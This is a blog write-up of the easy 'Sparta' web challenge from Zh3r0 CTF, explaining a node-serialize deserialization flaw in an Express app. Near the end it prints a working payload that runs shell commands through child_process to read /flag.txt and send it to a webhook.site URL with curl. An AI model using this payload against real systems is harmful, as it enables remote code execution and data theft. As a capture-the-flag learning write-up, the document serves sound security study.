Sparta - 100 (EASY)
After participating in Zh3r0 CTF last year(2020), I thought the CTF had some really cool challenges and so thought of looking at few of the challenges this year too.
So, lets just jump straight into the technical write-up.
In this blog, I would be describing my methodology for sparta - 100, which was an easy challenge in web category.
The challenge provided with source code along with a Dockerfile for hosting the web application locally. Looking at the source file, it was clear that express/node js was used at the back-end.
Looking at the server code, one could see that there is a check to see if "guest" token is passed in cookie. If so, the value of guest token is passed to unserialize() of node-serialize module. That's it! we are talking about a node de-serialization vulnerability here.
If the guest token is not part of the cookie, the application would take username, country and city values from the request body and will create a base64 encoded json object. This is our injection point.
As the value of "username" parameter is passed through escape function, I thought of inserting the payload in "city" parameter. One problem with that is code execution won't happen until the function corresponding to "city" property of the object is triggered. A way around this is by using IIFE (Immediately Invoked Function Expression) .
For my testing hypothesis, I wrote a small script which will emulate this vulnerability. I tried using the same version of node-serialize module as the one used by the challenge author (But failed doing so!!).
Great! this works. So I went ahead and copied the payload into Burp Repeater. From the Dockerfile, I could see that "flag.txt" is stored in the root directory.
Copied the value of guest parameter and added to it to the request. But strangely, I got an error: SyntaxError: Unexpected token ' in JSON. Google to the rescue. Changed \' to \" and this time there's no error.
Final Payload:
username=test& country=bleh& city=_$$ND_FUNC$$_function() {require(\"child_process\") %2eexec(\"output=$(cat%20/flag.txt); curl%20webhook.site/9d7268ea-42bd- 48b3-9ede-0be524e773e1?out=$output\", function(error,%20stdout,%20stderr) %20{%20console.log(stdout)});}() &submit=Add+your+
Seems like different versions of node-serialize module, parses the serialized objects differently which caused this behavior.
On the webhook.site, we can see that flag value inside the logs.
Thanks for the read!!
Comments
Post a Comment